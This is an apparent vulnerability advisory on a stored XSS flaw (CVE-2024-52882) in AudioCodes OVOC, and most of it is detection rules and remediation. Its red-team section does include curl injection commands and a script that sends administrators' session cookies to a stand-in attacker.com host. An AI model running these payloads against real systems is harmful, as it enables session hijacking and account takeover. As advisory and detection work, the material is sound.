CVE-2024-52882

Executive Summary

CVE-2024-52882 is a stored Cross-Site Scripting (XSS) vulnerability in AudioCodes One Voice Operations Center (OVOC) prior to version 8.4.582. The flaw exists in the devices API, where user-supplied input is not properly neutralized before being stored and later rendered in the administrative interface. An unauthenticated attacker can inject malicious JavaScript code that will execute in the context of a logged-in administrator's session. This can lead to session hijacking, credential theft, or unauthorized actions performed on behalf of the administrator. The vulnerability has a CVSS score of 6.1 (Medium) and no public exploit code or proof-of-concept is currently available. The vendor has released a patched version (8.4.582) to address the issue.

Supply Chain & Package Security

This vulnerability is not related to any open-source package manager (NPM, PyPI, Go, Ruby). It affects a proprietary enterprise application (AudioCodes OVOC) and is not part of a software supply chain ecosystem.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Base Score: 6.1 (Medium)
• Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely over the network.
• Attack Complexity: Low (AC:L) – No special conditions are required for exploitation.
• Privileges Required: None (PR:N) – The attacker does not need to be authenticated.
• User Interaction: Required (UI:R) – The victim (administrator) must click on a crafted link or view a malicious page.
• Scope: Changed (S:C) – The injected script can affect resources beyond the vulnerable component.
• Confidentiality Impact: Low (C:L) – Limited information disclosure is possible.
• Integrity Impact: Low (I:L) – Limited modification of data is possible.
• Availability Impact: None (A:N) – No impact on system availability.

Threat Level: Medium. While the CVSS score is moderate, the potential for session hijacking and lateral movement within the administrative interface elevates the risk for organizations using OVOC.

Deep Dive & Mechanics

The vulnerability resides in the devices API endpoint of AudioCodes OVOC. This API is used to manage and configure network devices (e.g., gateways, session border controllers). The API accepts user-supplied input (e.g., device names, descriptions, or custom fields) without proper sanitization or encoding.

When an administrator views the list of devices or a specific device's details, the unsanitized input is rendered in the browser. An attacker can craft a malicious payload (e.g., <script>alert('XSS')</script>) and submit it via the API. If an administrator subsequently accesses the affected page, the script executes in the context of the OVOC web application, inheriting the administrator's session and permissions.

The attack flow:

1. Attacker identifies the vulnerable API endpoint (e.g., /api/devices).
2. Attacker sends a POST request with a malicious payload in a device field (e.g., name=<script>/* malicious code */</script>).
3. The payload is stored in the OVOC database without sanitization.
4. Administrator logs into OVOC and navigates to the device management page.
5. The stored payload is rendered, and the malicious script executes.
6. The script can steal session cookies, perform actions on behalf of the admin, or redirect to a phishing page.

Vulnerable vs. Patched Code

Vulnerable Code (Pre-8.4.582): The vulnerable code likely lacks output encoding when rendering device data. For example, in a JSP or template file:

<div class="device-name"><%= device.getName() %></div>

This directly outputs the device name without escaping HTML entities.

Patched Code (8.4.582+): The patched version properly encodes output using context-aware escaping. For example:

<div class="device-name"><c:out value="${device.name}" /></div>

Or using a dedicated XSS prevention library that escapes <, >, ", ', and & characters.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• Access to the OVOC API endpoint (e.g., https://ovoc.example.com/api/devices).
• No authentication required for the injection point (or ability to bypass weak auth).

Step-by-Step Exploitation:

1. Identify the vulnerable endpoint:

   curl -k -X POST "https://ovoc.example.com/api/devices" \
   -H "Content-Type: application/json" \
   -d '{"name":"<script>alert(1)</script>","ip":"192.168.1.1"}'
   

2. Craft a payload for session hijacking:

   <script>
   var img = new Image();
   img.src = "https://attacker.com/steal?cookie=" + document.cookie;
   </script>
   

3. Inject the payload:

   curl -k -X POST "https://ovoc.example.com/api/devices" \
   -H "Content-Type: application/json" \
   -d '{"name":"<script>var img=new Image();img.src=\"https://attacker.com/steal?cookie=\"+document.cookie;</script>","ip":"192.168.1.1"}'
   

4. Wait for an administrator to view the device list. The script will execute and send the session cookie to the attacker's server.

Note: No public exploit code is available. The above is a conceptual demonstration.

Blue Team (Defense & Detection)

Detection Steps:

1. Monitor API logs for suspicious POST requests to /api/devices containing HTML tags or JavaScript keywords (<script>, onerror, onload).
2. Inspect database entries for device names or descriptions containing script tags.
3. Use web application firewall (WAF) rules to block common XSS payloads in API requests.
4. Implement Content Security Policy (CSP) headers to restrict script execution.

Hunting Query (Splunk):

index=web_logs sourcetype=ovoc_api
method=POST uri=/api/devices*
| search request_body IN (*<script*, *onerror*, *javascript:*)
| table _time, src_ip, request_body, status

Indicators of Compromise (IOCs)

• Network IOCs:
  • POST requests to /api/devices with payloads containing <script>, onerror, onload, or javascript:.
  • Outbound connections from OVOC server to unknown IPs on port 80/443 (exfiltration).
• File IOCs:
  • Log entries in OVOC access logs showing unusual characters in device fields.
• Behavioral IOCs:
  • Unexpected administrator actions (e.g., creating new users, modifying configurations) without corresponding UI interaction.

Detection Engineering

YARA Rule

rule CVE_2024_52882_XSS_Payload {
    meta:
        description = "Detects XSS payloads targeting CVE-2024-52882 in AudioCodes OVOC"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-52882"
    strings:
        $xss1 = "<script" ascii wide nocase
        $xss2 = "onerror=" ascii wide nocase
        $xss3 = "onload=" ascii wide nocase
        $xss4 = "javascript:" ascii wide nocase
        $xss5 = "alert(" ascii wide nocase
    condition:
        any of ($xss*)
}

Sigma Rule

title: XSS Payload in OVOC API Request
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects potential XSS attempts against AudioCodes OVOC devices API
author: Valters IT
date: 2025-04-10
logsource:
    category: web
    product: audicodes_ovoc
detection:
    selection:
        method: 'POST'
        uri|contains: '/api/devices'
        request_body|contains:
            - '<script'
            - 'onerror='
            - 'onload='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of HTML in device descriptions (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-52882 - XSS Attempt in OVOC Devices API";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/api/devices"; http_uri;
    content:"<script"; http_client_body;
    sid:1000001;
    rev:1;
    reference:cve,2024-52882;
    classtype:web-application-attack;
)

Remediation & Mitigation

Immediate Actions:

1. Upgrade OVOC to version 8.4.582 or later. This is the only complete fix.
2. Apply virtual patching via WAF rules to block XSS payloads in API requests.
3. Restrict API access to trusted IPs only (if possible).

Long-Term Measures:

1. Implement input validation and output encoding for all user-supplied data.
2. Conduct regular security audits of custom APIs.
3. Enable CSP headers with script-src 'self' to prevent inline script execution.
4. Monitor logs for anomalous API usage patterns.

Workaround (if patching is delayed):

• Disable the devices API endpoint temporarily if not critical.
• Use a reverse proxy to inspect and sanitize API requests.

Valters IT